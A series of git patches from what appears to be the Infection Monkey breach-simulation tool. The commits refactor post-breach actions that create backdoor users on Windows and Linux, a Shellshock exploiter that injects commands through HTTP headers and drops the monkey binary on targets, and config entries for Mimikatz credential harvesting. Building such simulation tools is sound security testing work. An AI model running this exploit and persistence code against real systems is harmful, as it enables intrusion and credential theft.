-WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, - WormConfiguration.remote_user_pass, - '/add', '/ACTIVE:NO'] - class BackdoorUser(PBA): def __init__(self): @@ -34,13 +24,13 @@ class BackdoorUser(PBA): def get_linux_commands_to_add_user(username): linux_cmds = [ 'useradd', - '-M', + '-M', # Do not create homedir '--expiredate', datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', - '-c', - 'MONKEY_USER', + '-c', # Comment + 'MONKEY_USER', # Comment username] return linux_cmds diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 53270e8fb..df4688fb5 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -95,8 +95,9 @@ class CommunicateAsNewUser(PBA): linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) commandline = "'ping -c 2 google.com'" linux_cmds.extend([";", "sudo", "-u", username, commandline]) - logger.debug("Trying these commands: {}".format(str(linux_cmds))) - output = subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True) + final_command = ' '.join(linux_cmds) + logger.debug("Trying to execute these commands: {}".format(final_command)) + output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True) PostBreachTelem(self, ( CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:50]), True)).send() return From ae414bcd13d50fb1979bede58728c2a219d5f8da Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 12:42:46 +0300 Subject: [PATCH 30/78] Remove unnecessary apostrophes from commandline --- .../post_breach/actions/communicate_as_new_user.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index df4688fb5..9335c90fe 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -93,7 +93,7 @@ class CommunicateAsNewUser(PBA): else: try: linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) - commandline = "'ping -c 2 google.com'" + commandline = "ping -c 2 google.com" linux_cmds.extend([";", "sudo", "-u", username, commandline]) final_command = ' '.join(linux_cmds) logger.debug("Trying to execute these commands: {}".format(final_command)) From 5ab36ffd0175ea06d2cc76414e3b16be32ada516 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 4 Sep 2019 16:06:49 +0300 Subject: [PATCH 31/78] Added firewall rules, fixed buggy ones --- envs/monkey_zoo/terraform/firewalls.tf | 31 ++++++++++++++++++++++---- 1 file changed, 27 insertions(+), 4 deletions(-) diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf index cafb0181d..b183a8d32 100644 --- a/envs/monkey_zoo/terraform/firewalls.tf +++ b/envs/monkey_zoo/terraform/firewalls.tf @@ -35,7 +35,7 @@ resource "google_compute_firewall" "monkeyzoo-in" { direction = "INGRESS" priority = "65534" - source_ranges = ["10.2.2.0/24"] + source_ranges = ["10.2.2.0/24", "10.2.1.0/27"] } resource "google_compute_firewall" "monkeyzoo-out" { @@ -48,7 +48,7 @@ resource "google_compute_firewall" "monkeyzoo-out" { direction = "EGRESS" priority = "65534" - destination_ranges = ["10.2.2.0/24"] + destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"] } resource "google_compute_firewall" "tunneling-in" { @@ -60,7 +60,7 @@ resource "google_compute_firewall" "tunneling-in" { } direction = "INGRESS" - source_ranges = ["10.2.1.0/28"] + source_ranges = ["10.2.2.0/24", "10.2.0.0/28"] } resource "google_compute_firewall" "tunneling-out" { @@ -72,5 +72,28 @@ resource "google_compute_firewall" "tunneling-out" { } direction = "EGRESS" - destination_ranges = ["10.2.1.0/28"] + destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"] +} +resource "google_compute_firewall" "tunneling2-in" { + name = "${local.resource_prefix}tunneling2-in" + network = "${google_compute_network.tunneling2.name}" + + allow { + protocol = "all" + } + + direction = "INGRESS" + source_ranges = ["10.2.1.0/27"] +} + +resource "google_compute_firewall" "tunneling2-out" { + name = "${local.resource_prefix}tunneling2-out" + network = "${google_compute_network.tunneling2.name}" + + allow { + protocol = "all" + } + + direction = "EGRESS" + destination_ranges = ["10.2.1.0/27"] } From 86cf09419ce06285170f1251dd0273f932f588a2 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 16:24:46 +0300 Subject: [PATCH 32/78] Moved imports to top of try --- .../post_breach/actions/communicate_as_new_user.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 9335c90fe..182acea00 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -31,14 +31,15 @@ class CommunicateAsNewUser(PBA): def run(self): username = USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) if is_windows_os(): + # Importing these only on windows, as they won't exist on linux. + import win32con + import win32process + import win32security + if not self.try_to_create_user_windows(username, PASSWORD): return # no point to continue if failed creating the user. try: - # Importing these only on windows, as they won't exist on linux. - import win32con - import win32process - import win32security # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera new_user_logon_token_handle = win32security.LogonUser( username, @@ -99,7 +100,7 @@ class CommunicateAsNewUser(PBA): logger.debug("Trying to execute these commands: {}".format(final_command)) output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True) PostBreachTelem(self, ( - CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:50]), True)).send() + CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send() return except subprocess.CalledProcessError as e: PostBreachTelem(self, (e.output, False)).send() From 5a29e047ab1d6a8ed182074bb4ecb9dda88c550a Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 4 Sep 2019 17:00:28 +0300 Subject: [PATCH 33/78] Extracted events amount badge to function --- .../zerotrust/EventsButton.js | 23 +++++++++++-------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js index 66f1ae3d3..f7a3fbbe5 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js @@ -20,23 +20,26 @@ export default class EventsButton extends Component { }; render() { + return + +
+ +
+
; + } + + createEventsAmountBadge() { let eventsAmountBadge; if (this.props.events.length > 10) { eventsAmountBadge = 9+; } else { eventsAmountBadge = {this.props.events.length}; } - return - -
- -
-
; + return eventsAmountBadge; } - } EventsButton.propTypes = { From 3a290b46acfa52a20827aa3f1549bd7016c1f7a0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 5 Sep 2019 16:40:02 +0300 Subject: [PATCH 34/78] Fixed T1078 attack technique not implemented, empty PBA message and other bugs --- .../post_breach/actions/users_custom_pba.py | 2 +- monkey/infection_monkey/post_breach/pba.py | 6 +++++- monkey/monkey_island/cc/services/config_schema.py | 4 ++-- .../cc/ui/src/components/report-components/PostBreach.js | 2 +- 4 files changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index a388813ab..118868d0c 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -27,7 +27,7 @@ class UsersPBA(PBA): Defines user's configured post breach action. """ def __init__(self): - super(UsersPBA, self).__init__("File execution") + super(UsersPBA, self).__init__("Custom post breach action") self.filename = '' if not is_windows_os(): # Add linux commands to PBA's diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 86addd009..926594192 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -12,6 +12,7 @@ LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' +EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)" class PBA(object): """ @@ -73,7 +74,10 @@ class PBA(object): :return: Tuple of command's output string and boolean, indicating if it succeeded """ try: - return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True + output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True) + if not output: + output = EXECUTION_WITHOUT_OUTPUT + return output, True except subprocess.CalledProcessError as e: # Return error output of the command return e.output, False diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 93b096ffa..4ef418b6c 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -406,7 +406,7 @@ SCHEMA = { "title": "Harvest Azure Credentials", "type": "boolean", "default": True, - "attack_techniques": ["T1003", "T1078"], + "attack_techniques": ["T1003"], "description": "Determine if the Monkey should try to harvest password credentials from Azure VMs" }, @@ -421,7 +421,7 @@ SCHEMA = { "title": "Should use Mimikatz", "type": "boolean", "default": True, - "attack_techniques": ["T1003", "T1078"], + "attack_techniques": ["T1003"], "description": "Determines whether to use Mimikatz" }, } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index aacdc8845..ea39e3c45 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -24,7 +24,7 @@ let renderPbaResults = function (results) { }; const subColumns = [ - {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }}, + {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }, width: 160}, {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }} ]; From 731e3acb9035e7f8cb4699837606d5f4de06c0b7 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 5 Sep 2019 20:56:00 +0300 Subject: [PATCH 35/78] Added exception info to monkey main function. --- monkey/infection_monkey/main.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 2ddf9127e..3b51c1be2 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -127,8 +127,8 @@ def main(): json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': ')) return True - except Exception: - LOG.exception("Exception thrown from monkey's start function") + except Exception as e: + LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e)) finally: monkey.cleanup() From e9cd20a3457dff37e14abd589a9d04225f0e196e Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 5 Sep 2019 20:56:17 +0300 Subject: [PATCH 36/78] If one PBA fails it shouldn't stop all the rest. --- monkey/infection_monkey/post_breach/post_breach_handler.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 034e1c451..c68422d4c 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -25,8 +25,11 @@ class PostBreach(object): Executes all post breach actions. """ for pba in self.pba_list: - LOG.debug("Executing PBA: '{}'".format(pba.name)) - pba.run() + try: + LOG.debug("Executing PBA: '{}'".format(pba.name)) + pba.run() + except Exception as e: + LOG.error("PBA {} failed. Error info: {}".format(pba.name, e)) LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list))) @staticmethod From e618378c955140521e634d4024a9b9634636a0ab Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 5 Sep 2019 20:56:48 +0300 Subject: [PATCH 37/78] Vastly improved communicate as new user PBA code structure, also not leaking any more process or thread handles. --- .../infection_monkey/monkey_utils/__init__.py | 0 .../monkey_utils/windows/__init__.py | 0 .../monkey_utils/windows/new_user.py | 64 ++++++++ .../actions/communicate_as_new_user.py | 151 ++++++++---------- 4 files changed, 134 insertions(+), 81 deletions(-) create mode 100644 monkey/infection_monkey/monkey_utils/__init__.py create mode 100644 monkey/infection_monkey/monkey_utils/windows/__init__.py create mode 100644 monkey/infection_monkey/monkey_utils/windows/new_user.py diff --git a/monkey/infection_monkey/monkey_utils/__init__.py b/monkey/infection_monkey/monkey_utils/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/monkey_utils/windows/__init__.py b/monkey/infection_monkey/monkey_utils/windows/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/monkey_utils/windows/new_user.py new file mode 100644 index 000000000..be6e2534d --- /dev/null +++ b/monkey/infection_monkey/monkey_utils/windows/new_user.py @@ -0,0 +1,64 @@ +import logging +import subprocess + +from infection_monkey.post_breach.actions.add_user import BackdoorUser +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem + + +logger = logging.getLogger(__name__) + + +class NewUserError(Exception): + pass + + +class NewUser(object): + """ + RAII object to use for creating and using a new user in Windows. Use with `with`. + User will be created when the instance is instantiated. + User will log on start of `with` scope. + User will log off on end of `with` scope. + + Example: + # Created # Logged on + with NewUser("user", "pass") as new_user: + ... + ... + # Logged off + ... + """ + def __init__(self, username, password): + """ + Creates a user with the username + password. + :raises: subprocess.CalledProcessError if failed to add the user. + """ + self.username = username + self.password = password + + windows_cmds = BackdoorUser.get_windows_commands_to_add_user(self.username, self.password, True) + logger.debug("Trying these commands: {}".format(str(windows_cmds))) + _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) + + def __enter__(self): + # Importing these only on windows, as they won't exist on linux. + import win32security + import win32con + + try: + # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera + self.logon_handle = win32security.LogonUser( + self.username, + ".", # Use current domain. + self.password, + win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user). + win32con.LOGON32_PROVIDER_DEFAULT) # Which logon provider to use - whatever Windows offers. + except Exception as err: + raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err))) + return self + + def get_logon_handle(self): + return self.logon_handle + + def __exit__(self, exc_type, exc_val, exc_tb): + self.logon_handle.Close() + # TODO Delete user diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 182acea00..8869a225f 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -5,6 +5,7 @@ import string import subprocess from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER +from infection_monkey.monkey_utils.windows.new_user import NewUser, NewUserError from infection_monkey.post_breach.actions.add_user import BackdoorUser from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem @@ -31,88 +32,76 @@ class CommunicateAsNewUser(PBA): def run(self): username = USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) if is_windows_os(): - # Importing these only on windows, as they won't exist on linux. - import win32con - import win32process - import win32security - - if not self.try_to_create_user_windows(username, PASSWORD): - return # no point to continue if failed creating the user. - - try: - # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera - new_user_logon_token_handle = win32security.LogonUser( - username, - ".", # use current domain - PASSWORD, - win32con.LOGON32_LOGON_INTERACTIVE, # logon type - interactive (normal user) - win32con.LOGON32_PROVIDER_DEFAULT) # logon provider - except Exception as e: - PostBreachTelem( - self, - ("Can't logon as {}. Error: {}".format(username, e.message), False) - ).send() - return # no point to continue if can't log on. - - # Using os.path is OK, as this is on windows for sure - ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe") - if not os.path.exists(ping_app_path): - PostBreachTelem(self, ("{} not found.".format(ping_app_path), False)).send() - return # Can't continue without ping. - - try: - # Open process as that user: - # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera - commandline = "{} {}".format(ping_app_path, "google.com") - _ = win32process.CreateProcessAsUser( - new_user_logon_token_handle, # A handle to the primary token that represents a user. - None, # The name of the module to be executed. - commandline, # The command line to be executed. - None, # Process attributes - None, # Thread attributes - True, # Should inherit handles - win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process. - None, # An environment block for the new process. If this parameter is NULL, the new process - # uses the environment of the calling process. - None, # CWD. If this parameter is NULL, the new process will have the same current drive and - # directory as the calling process. - win32process.STARTUPINFO() # STARTUPINFO structure. - # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa - ) - - PostBreachTelem(self, ( - CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send() - return - except Exception as e: - # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the "Replace a - # process level token" right, using Local Security Policy editing. Worked, but only after reboot. So: - # 1. need to decide if worth it, and then - # 2. need to find how to do this using python... - PostBreachTelem(self, ( - "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() - return + self.communicate_as_new_user_windows(username) else: - try: - linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) - commandline = "ping -c 2 google.com" - linux_cmds.extend([";", "sudo", "-u", username, commandline]) - final_command = ' '.join(linux_cmds) - logger.debug("Trying to execute these commands: {}".format(final_command)) - output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True) - PostBreachTelem(self, ( - CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send() - return - except subprocess.CalledProcessError as e: - PostBreachTelem(self, (e.output, False)).send() - return + self.communicate_as_new_user_linux(username) - def try_to_create_user_windows(self, username, password): + def communicate_as_new_user_linux(self, username): try: - windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password, True) - logger.debug("Trying these commands: {}".format(str(windows_cmds))) - subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) - return True - except subprocess.CalledProcessError as e: + linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) + commandline = "ping -c 2 google.com" + linux_cmds.extend([";", "sudo", "-u", username, commandline]) + final_command = ' '.join(linux_cmds) + logger.debug("Trying to execute these commands: {}".format(final_command)) + output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True) PostBreachTelem(self, ( - "Couldn't create the user '{}'. Error output is: '{}'".format(username, e.output), False)).send() - return False + CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send() + except subprocess.CalledProcessError as e: + PostBreachTelem(self, (e.output, False)).send() + + def communicate_as_new_user_windows(self, username): + # Importing these only on windows, as they won't exist on linux. + import win32con + import win32process + import win32api + + try: + with NewUser(username, PASSWORD) as new_user: + # Using os.path is OK, as this is on windows for sure + ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe") + if not os.path.exists(ping_app_path): + PostBreachTelem(self, ("{} not found.".format(ping_app_path), False)).send() + return # Can't continue without ping. + + try: + # Open process as that user: + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera + commandline = "{} {} {} {}".format(ping_app_path, "google.com", "-n", "2") + process_handle = win32process.CreateProcessAsUser( + new_user.get_logon_handle(), # A handle to the primary token that represents a user. + None, # The name of the module to be executed. + commandline, # The command line to be executed. + None, # Process attributes + None, # Thread attributes + True, # Should inherit handles + win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process. + None, # An environment block for the new process. If this parameter is NULL, the new process + # uses the environment of the calling process. + None, # CWD. If this parameter is NULL, the new process will have the same current drive and + # directory as the calling process. + win32process.STARTUPINFO() # STARTUPINFO structure. + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa + ) + + PostBreachTelem(self, + (CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send() + + win32api.CloseHandle(process_handle[0]) # Process handle + win32api.CloseHandle(process_handle[1]) # Thread handle + + except Exception as e: + # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the + # "Replace a process level token" right, using Local Security Policy editing. Worked, but only + # after reboot. So: + # 1. need to decide if worth it, and then + # 2. need to find how to do this using python... + PostBreachTelem(self, ( + "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() + + # Nothing more we can do. Leak the process handle. + except subprocess.CalledProcessError as err: + PostBreachTelem(self, ( + "Couldn't create the user '{}'. Error output is: '{}'".format(username, str(err)), + False)).send() + except NewUserError as e: + PostBreachTelem(self, (str(e), False)).send() From 51117edbea687756d3b0d7e6d9b7a0ef85160a66 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 5 Sep 2019 21:32:04 +0300 Subject: [PATCH 38/78] Add deletion of users --- .../monkey_utils/windows/new_user.py | 15 ++++++++++----- .../post_breach/actions/add_user.py | 18 ++++++++++++++++-- .../actions/communicate_as_new_user.py | 5 ++++- 3 files changed, 30 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/monkey_utils/windows/new_user.py index be6e2534d..14db5c1ae 100644 --- a/monkey/infection_monkey/monkey_utils/windows/new_user.py +++ b/monkey/infection_monkey/monkey_utils/windows/new_user.py @@ -2,7 +2,6 @@ import logging import subprocess from infection_monkey.post_breach.actions.add_user import BackdoorUser -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem logger = logging.getLogger(__name__) @@ -17,14 +16,14 @@ class NewUser(object): RAII object to use for creating and using a new user in Windows. Use with `with`. User will be created when the instance is instantiated. User will log on start of `with` scope. - User will log off on end of `with` scope. + User will log off and get deleted on end of `with` scope. Example: # Created # Logged on with NewUser("user", "pass") as new_user: ... ... - # Logged off + # Logged off and deleted ... """ def __init__(self, username, password): @@ -36,7 +35,6 @@ class NewUser(object): self.password = password windows_cmds = BackdoorUser.get_windows_commands_to_add_user(self.username, self.password, True) - logger.debug("Trying these commands: {}".format(str(windows_cmds))) _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) def __enter__(self): @@ -60,5 +58,12 @@ class NewUser(object): return self.logon_handle def __exit__(self, exc_type, exc_val, exc_tb): + # Logoff self.logon_handle.Close() - # TODO Delete user + + # Try to delete user + try: + _ = subprocess.check_output( + BackdoorUser.get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True) + except Exception as err: + raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index b82c59a66..9bb8cfcba 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -22,7 +22,7 @@ class BackdoorUser(PBA): @staticmethod def get_linux_commands_to_add_user(username): - linux_cmds = [ + return [ 'useradd', '-M', # Do not create homedir '--expiredate', @@ -32,7 +32,13 @@ class BackdoorUser(PBA): '-c', # Comment 'MONKEY_USER', # Comment username] - return linux_cmds + + @staticmethod + def get_linux_commands_to_delete_user(username): + return [ + 'deluser', + username + ] @staticmethod def get_windows_commands_to_add_user(username, password, should_be_active=False): @@ -45,3 +51,11 @@ class BackdoorUser(PBA): if not should_be_active: windows_cmds.append('/ACTIVE:NO') return windows_cmds + + @staticmethod + def get_windows_commands_to_delete_user(username): + return [ + 'net', + 'user', + username, + '/delete'] diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 8869a225f..590912c0b 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -38,14 +38,17 @@ class CommunicateAsNewUser(PBA): def communicate_as_new_user_linux(self, username): try: + # add user + ping linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) commandline = "ping -c 2 google.com" linux_cmds.extend([";", "sudo", "-u", username, commandline]) final_command = ' '.join(linux_cmds) - logger.debug("Trying to execute these commands: {}".format(final_command)) output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True) PostBreachTelem(self, ( CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send() + # delete the user + _ = subprocess.check_output( + BackdoorUser.get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True) except subprocess.CalledProcessError as e: PostBreachTelem(self, (e.output, False)).send() From e520df4c34aa7750362761011d68ae6b750ed201 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Thu, 5 Sep 2019 21:40:36 +0300 Subject: [PATCH 39/78] Fixed events length check --- .../src/components/report-components/zerotrust/EventsButton.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js index f7a3fbbe5..ea24e7b1a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js @@ -33,7 +33,7 @@ export default class EventsButton extends Component { createEventsAmountBadge() { let eventsAmountBadge; - if (this.props.events.length > 10) { + if (this.props.events.length > 9) { eventsAmountBadge = 9+; } else { eventsAmountBadge = {this.props.events.length}; From ee10ca90507b8ba100fb99f292e91fae8bf43fbe Mon Sep 17 00:00:00 2001 From: Anh T Nguyen Date: Fri, 6 Sep 2019 11:11:19 +0700 Subject: [PATCH 40/78] move try_lock to HostExploiter --- monkey/infection_monkey/exploit/__init__.py | 10 ++++ monkey/infection_monkey/exploit/shellshock.py | 47 +++++++++---------- 2 files changed, 31 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 9db1bad47..a75675942 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -76,6 +76,16 @@ class HostExploiter(object): powershell = True if "powershell" in cmd.lower() else False self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) + def _try_lock(self, create_file_fn, path): + """ + Create temporary file on target machine to avoid collision of long-running exploiters + :return: True if no other monkey is running same exploit + """ + return create_file_fn(path) + + def _exit_lock(self, remove_file_fn, path): + remove_file_fn(path) + from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 8b18590de..46de37797 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -20,6 +20,7 @@ LOG = logging.getLogger(__name__) TIMEOUT = 2 TEST_COMMAND = '/bin/uname -a' DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder +LOCK_HELPER_FILE = '/tmp/monkey_shellshock' class ShellShockExploiter(HostExploiter): @@ -108,8 +109,10 @@ class ShellShockExploiter(HostExploiter): LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - if not self._try_lock(exploit, url, header): - continue + if not self._try_lock(create_file_fn=self._create_lock_file(exploit, url, header), + path=LOCK_HELPER_FILE): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) @@ -127,7 +130,8 @@ class ShellShockExploiter(HostExploiter): http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() - self._exit_lock(exploit, url, header) + self._exit_lock(remove_file_fn=self._remove_lock_file(exploit, url, header), + path=LOCK_HELPER_FILE) if (http_thread.downloads != 1) or ( 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): @@ -187,30 +191,21 @@ class ShellShockExploiter(HostExploiter): LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header)) return False, - @classmethod - def _try_lock(cls, exploit, url, header): - """ - Checks if another monkey is running shellshock exploit - :return: True if no monkey is running shellshock exploit - """ - file_path = '/tmp/monkey_lock' - if cls.check_remote_file_exists(url, header, exploit, file_path): - LOG.info("Another monkey is running shellshock exploit") - return False - cmdline = 'echo AAAA > %s' % file_path - run_path = exploit + cmdline - cls.attack_page(url, header, run_path) - return True + def _create_lock_file(self, exploit, url, header): + def f(filepath): + if self.check_remote_file_exists(url, header, exploit, filepath): + LOG.info("Another monkey is running shellshock exploit") + return False + cmd = exploit + 'echo AAAA > %s' % filepath + self.attack_page(url, header, cmd) + return True + return f - @classmethod - def _exit_lock(cls, exploit, url, header): - """ - Remove lock file from target machine - """ - file_path = '/tmp/monkey_lock' - cmdline = 'rm %s' % file_path - run_path = exploit + cmdline - cls.attack_page(url, header, run_path) + def _remove_lock_file(self, exploit, url, header): + def f(filepath): + cmd = exploit + 'rm %s' % filepath + self.attack_page(url, header, cmd) + return f @staticmethod def attack_page(url, header, attack): From 